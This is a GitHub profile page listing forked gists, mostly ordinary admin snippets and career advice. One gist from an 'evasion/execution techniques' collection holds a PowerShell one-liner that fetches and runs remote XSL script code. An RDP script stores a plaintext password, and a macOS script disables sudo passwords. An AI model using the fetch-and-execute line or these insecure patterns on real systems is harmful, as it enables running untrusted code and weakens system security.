Skip to content

Instantly share code, notes, and snippets.

View andrewgalbraith's full-sized avatar

Andrew Galbraith andrewgalbraith

View GitHub Profile
@andrewgalbraith
andrewgalbraith / GetAllBinaries.ps1
Created July 31, 2023 00:59 — forked from sharunkumar/GetAllBinaries.ps1
PowerShell Script to get all the binaries in the path variable, on windows
$env:Path.split(";") | ForEach-Object {
Get-ChildItem -Path $_ -ErrorAction SilentlyContinue
} | Where-Object { $env:PATHEXT.ToLower() -match $_.Extension.ToLower() } | Select-Object FullName
@andrewgalbraith
andrewgalbraith / macos-sudo-nopasswd.sh
Created July 31, 2023 00:58 — forked from juliyvchirkov/macos-sudo-nopasswd.sh
bash: sudo without a password on macOS
#!/bin/bash
#
# Enable nopasswd mode for sudo on macOS from the userspace in fast and totally non-interactive way
#
# Type the password last time to apply the new mode and forget it for any console task for ages
# Use the rollback to restore password protection
#
# Developed and tested by https://juliyvchirkov.github.io/ under the MIT license on macOS Big Sur 11.2.0
#
# Get latest version at https://gist.github.com/juliyvchirkov/3ca76582ed6b6a8366c9e7d60644960d
@andrewgalbraith
andrewgalbraith / PowerShell.txt
Created June 21, 2023 11:58 — forked from S3cur3Th1sSh1t/PowerShell.txt
Snippets of PowerShell bypass/evasion/execution techniques that are interesting
##############################################################################
### Powershell Xml/Xsl Assembly "Fetch & Execute"
### [https://twitter.com/bohops/status/966172175555284992]
$s=New-Object System.Xml.Xsl.XsltSettings;$r=New-Object System.Xml.XmlUrlResolver;$s.EnableScript=1;$x=New-Object System.Xml.Xsl.XslCompiledTransform;$x.Load('https://gist.github.com/bohops/ee9e2d7bdd606c264a0c6599b0146599/raw/f8245f99992eff00eb5f0d5738dfbf0937daf5e4/xsl-notepad.xsl',$s,$r);$x.Transform('https://gist.github.com/bohops/ee9e2d7bdd606c264a0c6599b0146599/raw/f8245f99992eff00eb5f0d5738dfbf0937daf5e4/xsl-notepad.xml','z');del z;
##############################################################################
### Powershell VBScript Assembly SCT "Fetch & Execute"
### [https://twitter.com/bohops/status/965670898379476993]
@andrewgalbraith
andrewgalbraith / _verify-repair-permissions-disk.md
Created June 19, 2023 14:25 — forked from bzerangue/_verify-repair-permissions-disk.md
Mac OS X Utilities via Terminal: (Verify and Repair: Disk Permissions AND Disk / Software Update / TimeMachine)

Verify and Repair Disk Permissions via Terminal (Mac OS X)

Verify Permissions

diskutil verifyPermissions /

Repair Permissions

diskutil repairPermissions /

@andrewgalbraith
andrewgalbraith / Check-Dbx.ps1
Created June 8, 2022 17:08 — forked from out0xb2/Check-Dbx.ps1
Parses signature data from the pk, kek, db, and dbx UEFI variables.
Write-Host "Checking for Administrator permission..."
if (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) {
Write-Warning "Insufficient permissions to run this script. Open the PowerShell console as administrator and run this script again."
Break
} else {
Write-Host "Running as administrator — continuing execution..." -ForegroundColor Green
}
$patchfile = $args[0]
@andrewgalbraith
andrewgalbraith / python_scripting.rst
Created August 12, 2021 21:23 — forked from jasonkeene/python_scripting.rst
Get started with writing your own python scripts to automate system tasks.

Python for System Admins / Operators

Installing Python

Most Unix/Linux systems come with python pre-installed:

$ python -V
@andrewgalbraith
andrewgalbraith / connect.ps1
Created May 10, 2021 17:15 — forked from jdforsythe/connect.ps1
Remote Desktop Auto Login Powershell Script
echo "Connecting to 192.168.1.100"
$Server="192.168.1.100"
$User="Administrator"
$Password="AdminPassword"
cmdkey /generic:TERMSRV/$Server /user:$User /pass:$Password
mstsc /v:$Server

Keybase proof

I hereby claim:

  • I am andrewgalbraith on github.
  • I am andrewgalbraith (https://keybase.io/andrewgalbraith) on keybase.
  • I have a public key ASB1DQHUKfdofHgyizHHuY6zs6PGLHRwYtdUM-XgriQeRQo

To claim this, I am signing this object:

Source: Unknown

A lot of people don’t know how to negotiate a job offer, especially if they were going to accept it no matter what. Use this technique to get an increase in the offer, which will compound every year since raises are almost always percentages or “bump up to the nearest big number”. Doing this at my last salary negotiation has probably payed off in the range of tens of thousands of dollars over several years.

Allow me to present Gavin's Super Simple Job Offer Negotiation Strategy for People Who Hate Negotiation, Don’t Have Any Other Offers, and Are Going To Take the Job No Matter What:

Call 1: They call you to make the offer

  • Them: We think you rock and would like to hire you. We can offer you $X.
  • You: Great, that's really exciting (etc). I'd like to take a day to think it over.